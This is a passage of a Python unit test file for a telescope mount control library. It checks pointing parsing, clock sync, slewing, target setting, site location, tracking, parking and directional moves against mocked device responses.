self.assertEqual(False, suc)
#
#
# testing pollSetting pointing
#
#
def test_ObsSite_parsePointing_ok1(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['13:15:35.68', '0.12', 'V',
'19.44591,+88.0032,W,002.9803,+47.9945,2458352.10403639,5,0',
'2458352.10403639, 100, 100, 0.1, 0.1']
suc = obsSite.parsePointing(response, 5)
self.assertEqual(True, suc)
def test_ObsSite_parsePointing_ok2(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['13:15:35.68', '0.12', 'V',
'19.44591,+88.0032,W,000.0000,+47.9945,2458352.10403639,5,0',
'2458352.10403639, 100, 100, 0.1, 0.1']
suc = obsSite.parsePointing(response, 5)
self.assertEqual(True, suc)
self.assertEqual(type(obsSite.Az), Angle)
def test_ObsSite_parsePointing_ok3(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['13:15:35.68', '0.12', 'V',
'19.44591,+88.0032,W,000.0001,+00.0000,2458352.10403639,5,0',
'2458352.10403639, 100, 100, 0.1, 0.1']
suc = obsSite.parsePointing(response, 5)
self.assertEqual(True, suc)
self.assertEqual(type(obsSite.Alt), Angle)
def test_ObsSite_pollPointing_ok4(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['13:15:35.68', '0.12', 'V',
'19.44591,+88.0032,W,002.9803,+47.9945,2458352.10403639,5,0',
'2458352.10403639, 100, 100, 0.1, 0.1']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 5
suc = obsSite.pollPointing()
self.assertEqual(True, suc)
def test_ObsSite_pollPointing_not_ok1(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['13:15:35.68', '0.12',
'19.44591,+88.0032,W,002.9803,+47.9945,2458352.10403639,5,0',
'2458352.10403639, 100, 100, 0.1, 0.1']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = False, response, 3
suc = obsSite.pollPointing()
self.assertEqual(False, suc)
def test_ObsSite_pollPointing_not_ok2(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['13:15:35.68', '0.12',
'19.44591,+88.0032,W,002.9803,+47.9945,2458352.10403639,5,0',
'2458352.10403639, 100, 100, 0.1, 0.1']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 5
suc = obsSite.pollPointing()
self.assertEqual(False, suc)
def test_pollSyncClock_1(self):
obsSite = ObsSite(pathToData=pathToData)
with mock.patch.object(platform,
'system',
return_value='Windows'):
with mock.patch.object(mountcontrol.obsSite.Connection,
'communicate',
return_value=(False, [], 0)):
suc = obsSite.pollSyncClock()
assert not suc
def test_pollSyncClock_2(self):
obsSite = ObsSite(pathToData=pathToData)
with mock.patch.object(platform,
'system',
return_value='Linux'):
with mock.patch.object(mountcontrol.obsSite.Connection,
'communicate',
return_value=(False, [], 0)):
suc = obsSite.pollSyncClock()
assert not suc
def test_pollSyncClock_3(self):
obsSite = ObsSite(pathToData=pathToData)
with mock.patch.object(platform,
'system',
return_value='aarch64'):
with mock.patch.object(mountcontrol.obsSite.Connection,
'communicate',
return_value=(False, [], 0)):
suc = obsSite.pollSyncClock()
assert not suc
def test_pollSyncClock_4(self):
obsSite = ObsSite(pathToData=pathToData)
with mock.patch.object(platform,
'system',
return_value='Darwin'):
with mock.patch.object(mountcontrol.obsSite.Connection,
'communicate',
return_value=(True, ['eee'], 1)):
suc = obsSite.pollSyncClock()
assert not suc
def test_pollSyncClock_5(self):
obsSite = ObsSite(pathToData=pathToData)
with mock.patch.object(platform,
'system',
return_value='Darwin'):
with mock.patch.object(mountcontrol.obsSite.Connection,
'communicate',
return_value=(True, ['12345678.1'], 1)):
suc = obsSite.pollSyncClock()
assert suc
def test_adjustClock_1(self):
obsSite = ObsSite(pathToData=pathToData)
with mock.patch.object(mountcontrol.obsSite.Connection,
'communicate',
return_value=(False, ['0'], 1)):
suc = obsSite.adjustClock(0)
assert not suc
def test_adjustClock_2(self):
obsSite = ObsSite(pathToData=pathToData)
with mock.patch.object(mountcontrol.obsSite.Connection,
'communicate',
return_value=(True, ['0'], 1)):
suc = obsSite.adjustClock(0)
assert not suc
def test_adjustClock_3(self):
obsSite = ObsSite(pathToData=pathToData)
with mock.patch.object(mountcontrol.obsSite.Connection,
'communicate',
return_value=(True, ['1'], 1)):
suc = obsSite.adjustClock(0)
assert suc
def test_startSlewing_1(self):
obsSite = ObsSite(pathToData=pathToData)
suc = obsSite.startSlewing(slewType='')
self.assertEqual(suc, False)
def test_startSlewing_1_1(self):
obsSite = ObsSite(pathToData=pathToData)
response = '1#'
obsSite.status = 0
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = False, response, 1
suc = obsSite.startSlewing(slewType='keep')
self.assertEqual(suc, False)
def test_startSlewing_1_2(self):
obsSite = ObsSite(pathToData=pathToData)
response = '1#'
obsSite.status = 1
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = False, response, 1
suc = obsSite.startSlewing(slewType='keep')
self.assertEqual(suc, False)
def test_startSlewing_2(self):
obsSite = ObsSite(pathToData=pathToData)
response = '1#'
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 1
suc = obsSite.startSlewing(slewType='normal')
self.assertEqual(suc, False)
def test_startSlewing_3(self):
obsSite = ObsSite(pathToData=pathToData)
response = '1#'
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = False, response, 3
suc = obsSite.startSlewing(slewType='normal')
self.assertEqual(suc, False)
def test_startSlewing_4(self):
obsSite = ObsSite(pathToData=pathToData)
response = '0#'
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 1
suc = obsSite.startSlewing(slewType='normal')
self.assertEqual(suc, True)
def test_ObsSite_setTargetAltAz_ok1(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['112+45:00:00.0', '180:00:00.0', '12:30:00.00', '+45:30:00.0']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 7
alt = Angle(degrees=30)
az = Angle(degrees=30)
suc = obsSite.setTargetAltAz(alt, az)
self.assertEqual(True, suc)
def test_ObsSite_setTargetAltAz_not_ok1(self):
obsSite = ObsSite(pathToData=pathToData)
suc = obsSite.setTargetAltAz(alt_degrees=0, az_degrees=0)
self.assertEqual(False, suc)
def test_ObsSite_setTargetAltAz_not_ok2(self):
obsSite = ObsSite(pathToData=pathToData)
alt = Angle(degrees=30)
suc = obsSite.setTargetAltAz(alt, az_degrees=0)
self.assertEqual(False, suc)
def test_ObsSite_setTargetAltAz_not_ok3(self):
obsSite = ObsSite(pathToData=pathToData)
alt = Angle(degrees=30)
az = Angle(degrees=30)
suc = obsSite.setTargetAltAz(alt, az)
self.assertEqual(False, suc)
def test_ObsSite_setTargetAltAz_not_ok4(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['00']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 2
alt = Angle(degrees=30)
az = Angle(degrees=30)
suc = obsSite.setTargetAltAz(alt, az)
self.assertEqual(False, suc)
def test_ObsSite_setTargetAltAz_not_ok5(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['0']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 2
alt = Angle(degrees=30)
az = Angle(degrees=30)
suc = obsSite.setTargetAltAz(alt, az)
self.assertEqual(False, suc)
def test_ObsSite_setTargetAltAz_not_ok6(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['1#2']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 2
alt = Angle(degrees=30)
az = Angle(degrees=30)
suc = obsSite.setTargetAltAz(alt, az)
self.assertEqual(False, suc)
def test_ObsSite_setTargetAltAz_not_ok7(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['1#2']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 2
alt = Angle(degrees=30)
az = Angle(degrees=30)
suc = obsSite.setTargetAltAz(alt, az)
self.assertEqual(False, suc)
def test_ObsSite_setTargetAltAz_not_ok8(self):
obsSite = ObsSite(pathToData=pathToData)
alt = Angle(hours=5, preference='hours')
az = Angle(degrees=30)
suc = obsSite.setTargetAltAz(alt, az)
self.assertEqual(False, suc)
def test_ObsSite_setTargetAltAz_not_ok9(self):
obsSite = ObsSite(pathToData=pathToData)
alt = Angle(degrees=30)
az = Angle(hours=5, preference='hours')
suc = obsSite.setTargetAltAz(alt, az)
self.assertEqual(False, suc)
#
#
# testing setTargetRaDec
#
#
def test_ObsSite_setTargetRaDec_ok1(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['112+45:00:00.0', '180:00:00.0', '12:30:00.00', '+45:30:00.0']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 2
ra = Angle(hours=5, preference='hours')
dec = Angle(degrees=30)
suc = obsSite.setTargetRaDec(ra, dec)
self.assertEqual(True, suc)
def test_ObsSite_setTargetRaDec_ok2(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['112+45:00:00.0', '180:00:00.0', '12:30:00.00', '+45:30:00.0']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 2
ra = Angle(hours=5, preference='hours')
dec = Angle(degrees=30)
target = Star(ra=ra, dec=dec)
suc = obsSite.setTargetRaDec(target=target)
self.assertEqual(True, suc)
def test_ObsSite_setTargetRaDec_not_ok1(self):
obsSite = ObsSite(pathToData=pathToData)
suc = obsSite.setTargetRaDec(ra_hours=0, dec_degrees=0)
self.assertEqual(False, suc)
def test_ObsSite_setTargetRaDec_not_ok2(self):
obsSite = ObsSite(pathToData=pathToData)
suc = obsSite.setTargetRaDec(ra_hours=0, dec_degrees=0)
self.assertEqual(False, suc)
def test_ObsSite_setTargetRaDec_not_ok3(self):
obsSite = ObsSite(pathToData=pathToData)
ra = None
dec = None
target = None
suc = obsSite.setTargetRaDec(ra, dec, target)
self.assertEqual(False, suc)
def test_ObsSite_setTargetRaDec_not_ok4(self):
obsSite = ObsSite(pathToData=pathToData)
ra = Angle(hours=30, preference='hours')
dec = None
suc = obsSite.setTargetRaDec(ra, dec)
self.assertEqual(False, suc)
def test_ObsSite_setTargetRaDec_not_ok5(self):
obsSite = ObsSite(pathToData=pathToData)
ra = Angle(hours=30, preference='hours')
dec = Angle(degrees=30)
suc = obsSite.setTargetRaDec(ra, dec)
self.assertEqual(False, suc)
def test_ObsSite_setTargetRaDec_not_ok6(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['00']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 2
ra = Angle(hours=5, preference='hours')
dec = Angle(degrees=30)
suc = obsSite.setTargetRaDec(ra, dec)
self.assertEqual(False, suc)
def test_ObsSite_setTargetRaDec_not_ok7(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['0']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 2
ra = Angle(hours=5, preference='hours')
dec = Angle(degrees=30)
suc = obsSite.setTargetRaDec(ra, dec)
self.assertEqual(False, suc)
def test_ObsSite_setTargetRaDec_not_ok8(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['1#']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 2
ra = Angle(hours=5, preference='hours')
dec = Angle(degrees=30)
suc = obsSite.setTargetRaDec(ra, dec)
self.assertEqual(False, suc)
def test_ObsSite_setTargetRaDec_not_ok9(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['1#']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 2
ra = Angle(hours=5, preference='hours')
dec = Angle(degrees=30)
suc = obsSite.setTargetRaDec(ra, dec)
self.assertEqual(False, suc)
def test_ObsSite_setTargetRaDec_not_ok10(self):
obsSite = ObsSite(pathToData=pathToData)
ra = Angle(degrees=30)
dec = Angle(degrees=30)
suc = obsSite.setTargetRaDec(ra, dec)
self.assertEqual(False, suc)
def test_ObsSite_setTargetRaDec_not_ok11(self):
obsSite = ObsSite(pathToData=pathToData)
ra = Angle(degrees=30)
dec = Angle(hours=5, preference='hours')
suc = obsSite.setTargetRaDec(ra, dec)
self.assertEqual(False, suc)
#
#
# testing setTargetAngular
#
#
def test_ObsSite_setTargetAngular_ok1(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['112+45:00:00.0', '180:00:00.0', '12:30:00.00', '+45:30:00.0']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 2
ra = Angle(hours=5, preference='degrees')
dec = Angle(degrees=30)
suc = obsSite.setTargetAngular(ra, dec)
self.assertEqual(True, suc)
def test_ObsSite_setTargetAngular_ok2(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['112+45:00:00.0', '180:00:00.0', '12:30:00.00', '+45:30:00.0']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 2
ra = Angle(hours=5, preference='degrees')
dec = Angle(degrees=30)
target = Star(ra=ra, dec=dec)
suc = obsSite.setTargetAngular(target=target)
self.assertEqual(True, suc)
def test_ObsSite_setTargetAngular_not_ok1(self):
obsSite = ObsSite(pathToData=pathToData)
suc = obsSite.setTargetAngular(ra_degrees=0, dec_degrees=0)
self.assertEqual(False, suc)
def test_ObsSite_setTargetAngular_not_ok2(self):
obsSite = ObsSite(pathToData=pathToData)
ra = None
dec = None
suc = obsSite.setTargetAngular(ra, dec)
self.assertEqual(False, suc)
def test_ObsSite_setTargetAngular_not_ok3(self):
obsSite = ObsSite(pathToData=pathToData)
ra = None
dec = None
target = None
suc = obsSite.setTargetAngular(ra, dec, target)
self.assertEqual(False, suc)
def test_ObsSite_setTargetAngular_not_ok4(self):
obsSite = ObsSite(pathToData=pathToData)
ra = Angle(hours=30, preference='hours')
dec = None
suc = obsSite.setTargetAngular(ra, dec)
self.assertEqual(False, suc)
def test_ObsSite_setTargetAngular_not_ok5(self):
obsSite = ObsSite(pathToData=pathToData)
ra = Angle(hours=30, preference='hours')
dec = Angle(degrees=30)
suc = obsSite.setTargetAngular(ra, dec)
self.assertEqual(False, suc)
def test_ObsSite_setTargetAngular_not_ok6(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['00']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 2
ra = Angle(hours=5, preference='hours')
dec = Angle(degrees=30)
suc = obsSite.setTargetAngular(ra, dec)
self.assertEqual(False, suc)
def test_ObsSite_setTargetAngular_not_ok7(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['0']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = False, response, 2
ra = Angle(degrees=5)
dec = Angle(degrees=30)
suc = obsSite.setTargetAngular(ra, dec)
self.assertEqual(False, suc)
def test_ObsSite_setTargetAngular_not_ok8(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['1#']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 2
ra = Angle(hours=5, preference='hours')
dec = Angle(degrees=30)
suc = obsSite.setTargetAngular(ra, dec)
self.assertEqual(False, suc)
def test_ObsSite_setTargetAngular_not_ok9(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['1#']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 2
ra = Angle(hours=5, preference='hours')
dec = Angle(degrees=30)
suc = obsSite.setTargetAngular(ra, dec)
self.assertEqual(False, suc)
def test_ObsSite_setTargetAngular_not_ok10(self):
obsSite = ObsSite(pathToData=pathToData)
ra = Angle(degrees=30)
dec = Angle(hours=5, preference='hours')
suc = obsSite.setTargetAngular(ra, dec)
self.assertEqual(False, suc)
def test_ObsSite_setTargetAngular_not_ok_11(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['002+45:00:00.0', '180:00:00.0', '12:30:00.00', '+45:30:00.0']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 2
ra = Angle(hours=5, preference='degrees')
dec = Angle(degrees=30)
target = Star(ra=ra, dec=dec)
suc = obsSite.setTargetAngular(target=target)
self.assertEqual(False, suc)
def test_ObsSite_setTargetAngular_not_ok_12(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['112+45:00:00.0', '180:00:00.0', '12:30:00.00']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 2
ra = Angle(degrees=5)
dec = Angle(degrees=30)
target = Star(ra=ra, dec=dec)
suc = obsSite.setTargetAngular(target=target)
self.assertEqual(False, suc)
#
#
# testing shutdown
#
#
def test_ObsSite_shutdown_ok(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['1']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 1
suc = obsSite.shutdown()
self.assertEqual(True, suc)
def test_ObsSite_shutdown_not_ok1(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['0']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 1
suc = obsSite.shutdown()
self.assertEqual(False, suc)
def test_ObsSite_shutdown_not_ok2(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['0']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = False, response, 1
suc = obsSite.shutdown()
self.assertEqual(False, suc)
#
#
# testing setSite
#
#
def test_ObsSite_setLocation_ok(self):
obsSite = ObsSite(pathToData=pathToData)
observer = wgs84.latlon(latitude_degrees=50,
longitude_degrees=11,
elevation_m=580)
response = ['111']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 1
suc = obsSite.setLocation(observer)
self.assertEqual(True, suc)
def test_ObsSite_setLocation_not_ok1(self):
obsSite = ObsSite(pathToData=pathToData)
observer = wgs84.latlon(latitude_degrees=50,
longitude_degrees=11,
elevation_m=580)
response = ['101']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 1
suc = obsSite.setLocation(observer)
self.assertEqual(False, suc)
def test_ObsSite_setLocation_not_ok2(self):
obsSite = ObsSite(pathToData=pathToData)
observer = wgs84.latlon(latitude_degrees=50,
longitude_degrees=11,
elevation_m=580)
response = ['111']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = False, response, 1
suc = obsSite.setLocation(observer)
self.assertEqual(False, suc)
def test_ObsSite_setLocation_not_ok3(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['111']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = False, response, 1
suc = obsSite.setLocation(1234)
self.assertEqual(False, suc)
def test_ObsSite_setLatitude_ok1(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['1']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 1
suc = obsSite.setLatitude(lat_degrees=50)
self.assertEqual(True, suc)
def test_ObsSite_setLatitude_ok2(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['1']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 1
suc = obsSite.setLatitude(lat=Angle(degrees=50))
self.assertEqual(True, suc)
def test_ObsSite_setLatitude_ok3(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['1']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 1
suc = obsSite.setLatitude(lat='12 50 00.0')
self.assertEqual(True, suc)
def test_ObsSite_setLatitude_not_ok1(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['1']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 1
suc = obsSite.setLatitude(lat_degrees='50')
self.assertEqual(False, suc)
def test_ObsSite_setLatitude_not_ok2(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['1']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = False, response, 1
suc = obsSite.setLatitude(lat_degrees=50)
self.assertEqual(False, suc)
def test_ObsSite_setLatitude_not_ok3(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['0']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 1
suc = obsSite.setLatitude(lat_degrees=50)
self.assertEqual(False, suc)
def test_ObsSite_setLongitude_ok1(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['1']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 1
suc = obsSite.setLongitude(lon_degrees=50)
self.assertEqual(True, suc)
def test_ObsSite_setLongitude_ok2(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['1']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 1
suc = obsSite.setLongitude(lon=Angle(degrees=50))
self.assertEqual(True, suc)
def test_ObsSite_setLongitude_ok3(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['1']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 1
suc = obsSite.setLongitude(lon='12 50 50.00')
self.assertEqual(True, suc)
def test_ObsSite_setLongitude_not_ok1(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['1']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 1
suc = obsSite.setLongitude(lon_degrees='50')
self.assertEqual(False, suc)
def test_ObsSite_setLongitude_not_ok2(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['1']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = False, response, 1
suc = obsSite.setLongitude(lon_degrees=50)
self.assertEqual(False, suc)
def test_ObsSite_setLongitude_not_ok3(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['0']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 1
suc = obsSite.setLongitude(lon_degrees=50)
self.assertEqual(False, suc)
def test_ObsSite_setElevation_ok1(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['1']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 1
suc = obsSite.setElevation('500')
self.assertEqual(True, suc)
def test_ObsSite_setElevation_not_ok0(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['1']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 1
suc = obsSite.setElevation(['test'])
self.assertEqual(False, suc)
def test_ObsSite_setElevation_not_ok1(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['1']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 1
suc = obsSite.setElevation('er')
self.assertEqual(False, suc)
def test_ObsSite_setElevation_not_ok2(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['1']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = False, response, 1
suc = obsSite.setElevation('500')
self.assertEqual(False, suc)
def test_ObsSite_setElevation_not_ok3(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['0']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 1
suc = obsSite.setElevation('500')
self.assertEqual(False, suc)
#
#
# testing startTracking
#
#
def test_ObsSite_startTracking_ok(self):
obsSite = ObsSite(pathToData=pathToData)
response = []
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 0
suc = obsSite.startTracking()
self.assertEqual(True, suc)
def test_ObsSite_startTracking_not_ok1(self):
obsSite = ObsSite(pathToData=pathToData)
response = []
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = False, response, 0
suc = obsSite.startTracking()
self.assertEqual(False, suc)
#
#
# testing stopTracking
#
#
def test_ObsSite_stopTracking_ok(self):
obsSite = ObsSite(pathToData=pathToData)
response = []
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 0
suc = obsSite.stopTracking()
self.assertEqual(True, suc)
def test_ObsSite_stopTracking_not_ok1(self):
obsSite = ObsSite(pathToData=pathToData)
response = []
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = False, response, 0
suc = obsSite.stopTracking()
self.assertEqual(False, suc)
#
#
# testing park
#
#
def test_ObsSite_park_ok(self):
obsSite = ObsSite(pathToData=pathToData)
response = []
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 0
suc = obsSite.park()
self.assertEqual(True, suc)
def test_ObsSite_park_not_ok1(self):
obsSite = ObsSite(pathToData=pathToData)
response = []
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = False, response, 0
suc = obsSite.park()
self.assertEqual(False, suc)
#
#
# testing unpark
#
#
def test_ObsSite_unpark_ok(self):
obsSite = ObsSite(pathToData=pathToData)
response = []
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 0
suc = obsSite.unpark()
self.assertEqual(True, suc)
def test_ObsSite_unpark_not_ok1(self):
obsSite = ObsSite(pathToData=pathToData)
response = []
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = False, response, 0
suc = obsSite.unpark()
self.assertEqual(False, suc)
#
#
# testing parkOnActualPosition
#
#
def test_ObsSite_parkOnActualPosition_ok(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['1']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 1
suc = obsSite.parkOnActualPosition()
self.assertEqual(True, suc)
def test_ObsSite_parkOnActualPosition_not_ok1(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['0']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = False, response, 1
suc = obsSite.parkOnActualPosition()
self.assertEqual(False, suc)
def test_ObsSite_parkOnActualPosition_not_ok2(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['0']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 1
suc = obsSite.parkOnActualPosition()
self.assertEqual(False, suc)
#
#
# testing stop
#
#
def test_ObsSite_stop_ok(self):
obsSite = ObsSite(pathToData=pathToData)
response = []
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 0
suc = obsSite.stop()
self.assertEqual(True, suc)
def test_ObsSite_stop_not_ok1(self):
obsSite = ObsSite(pathToData=pathToData)
response = []
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = False, response, 0
suc = obsSite.stop()
self.assertEqual(False, suc)
#
#
# testing flip
#
#
def test_ObsSite_flip_ok(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['1']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 1
suc = obsSite.flip()
self.assertEqual(True, suc)
def test_ObsSite_flip_not_ok1(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['0']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 1
suc = obsSite.flip()
self.assertEqual(False, suc)
def test_ObsSite_flip_not_ok2(self):
obsSite = ObsSite(pathToData=pathToData)
response = ['1']
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = False, response, 1
suc = obsSite.flip()
self.assertEqual(False, suc)
def test_moveNorth_1(self):
obsSite = ObsSite(pathToData=pathToData)
response = []
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = False, response, 0
suc = obsSite.moveNorth()
self.assertEqual(suc, False)
def test_moveNorth_2(self):
obsSite = ObsSite(pathToData=pathToData)
response = []
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 0
suc = obsSite.moveNorth()
self.assertEqual(suc, True)
def test_moveEast_1(self):
obsSite = ObsSite(pathToData=pathToData)
response = []
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = False, response, 0
suc = obsSite.moveEast()
self.assertEqual(suc, False)
def test_moveEast_2(self):
obsSite = ObsSite(pathToData=pathToData)
response = []
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 0
suc = obsSite.moveEast()
self.assertEqual(suc, True)
def test_moveSouth_1(self):
obsSite = ObsSite(pathToData=pathToData)
response = []
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = False, response, 0
suc = obsSite.moveSouth()
self.assertEqual(suc, False)
def test_moveSouth_2(self):
obsSite = ObsSite(pathToData=pathToData)
response = []
with mock.patch('mountcontrol.obsSite.Connection') as mConn:
mConn.return_value.communicate.return_value = True, response, 0
suc = obsSite.moveSouth()
self.assertEqual(suc, True)
def test_moveWest_1(self):
